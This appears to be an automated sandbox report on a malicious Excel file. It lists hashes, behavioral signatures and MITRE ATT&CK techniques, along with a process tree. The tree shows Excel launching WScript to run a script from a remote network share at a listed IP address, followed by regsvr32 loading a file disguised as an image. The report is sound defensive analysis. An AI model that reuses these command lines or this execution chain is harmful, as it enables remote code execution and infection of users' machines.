7f83b7360a3906846bb6edaf4ba588a89c3ad2ce7a572b9a222fcb4535e02ea2

General

Target

NULLAMC.xlsx
Size

56KB
MD5

9ae220878200e8b787d7a39fccfb4839
SHA1

d9e0d9a349b2fcb73fbd63783f90b953200c402b
SHA256

7f83b7360a3906846bb6edaf4ba588a89c3ad2ce7a572b9a222fcb4535e02ea2
SHA512

786c4f6c963e6f3c85298f84503e089f599db99dbf613ac0bc205cbfd9a5c15a04d34c1d14b390d641ee64aef52f38d2a42989abb143de24686edd8f228b1efb
SSDEEP

1536:mAToOEjzAw7Y2r7DUsV4XzY9t3jSagJYw8TE3Jnh:FoOAcw7nXDUsOjm3jTxY1h

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	776	2388	WScript.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
42	776	WScript.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2388	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE
2388	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 776	2388	EXCEL.EXE	93
PID 2388 wrote to memory of 776	2388	EXCEL.EXE	93
PID 776 wrote to memory of 3660	776	WScript.exe	96
PID 776 wrote to memory of 3660	776	WScript.exe	96

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\NULLAMC.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\85.195.115.20\share\1.js"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:776
- - C:\Windows\System32\regsvr32.exe
    regsvr32 SH.jpg
    3⤵
    PID:3660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2388-0-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

Filesize
64KB

Download
memory/2388-1-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

Filesize
64KB

Download
memory/2388-2-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

Filesize
64KB

Download
memory/2388-3-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-4-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-5-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

Filesize
64KB

Download
memory/2388-8-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-7-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

Filesize
64KB

Download
memory/2388-9-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-10-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-11-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-12-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-6-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-13-0x00007FF7F04E0000-0x00007FF7F04F0000-memory.dmp

Filesize
64KB

Download
memory/2388-14-0x00007FF7F04E0000-0x00007FF7F04F0000-memory.dmp

Filesize
64KB

Download
memory/2388-15-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-17-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-16-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-19-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-18-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-20-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-21-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-22-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-23-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-36-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-37-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads